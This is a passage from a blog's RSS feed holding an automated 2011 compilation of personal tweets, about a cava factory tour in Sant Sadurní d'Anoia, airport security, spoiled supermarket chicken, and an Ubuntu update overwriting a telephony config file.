<div class="tweet-text">Champagne (well Cava) factory tour done. Now to stagger back to the train. <a href="http://twitter.com/search?q=#codorniu">#codorniu</a></div>
<div class="tweet-details">(2011/08/03, <a href="http://maps.google.com/maps?q=41.4337801,1.79618451&amp;iwloc=A&amp;hl=en">Sant Sadurní d&#8217;Anoia, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Woolly Mammoth! <a href="http://t.co/sHMBLqD">t.co/sHMBLqD</a></div>
<div class="tweet-details">(2011/08/02, <a href="http://maps.google.com/maps?q=41.38896139,2.18657654&amp;iwloc=A&amp;hl=en">Barcelona, Barcelona</a>)</div>
</li>
<li>
<div class="tweet-text">Wow. I passed through Liverpool airport&#8217;s security scanners without being felt up for a &#8216;security check&#8217;. First time for everything.</div>
<div class="tweet-details">(2011/07/31, <a href="http://maps.google.com/maps?q=53.33731938,-2.8541591&amp;iwloc=A&amp;hl=en">Liverpool, Liverpool</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/raymondh">@raymondh</a>: Thought for the day: most computer problems are caused by a loose nut on the keyboard <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/07/31)</div>
</li>
<li>
<div class="tweet-text">Thundercats 2011 &#8230;</div>
<div class="tweet-details">(2011/07/30)</div>
</li>
<li>
<div class="tweet-text">I&#8217;m not impressed Coop. Selling my gone off chicken which was still &#8216;in date&#8217;&#8230;</div>
<div class="tweet-details">(2011/07/30, <a href="http://maps.google.com/maps?q=52.34733889,-2.05859291&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Not impressed Ubuntu b0rked my office telephony system by overwriting sip.conf on a package update. git checkout sip.conf FTW. Ubuntu &#8211;</div>
<div class="tweet-details">(2011/07/28)</div>
</li>
<li>
<div class="tweet-text">How did this SSL certificate API .doc get released before it was spellchecked? Not particularly confidence boosting&#8230;</div>
<div class="tweet-details">(2011/07/27)</div>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-30-august-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

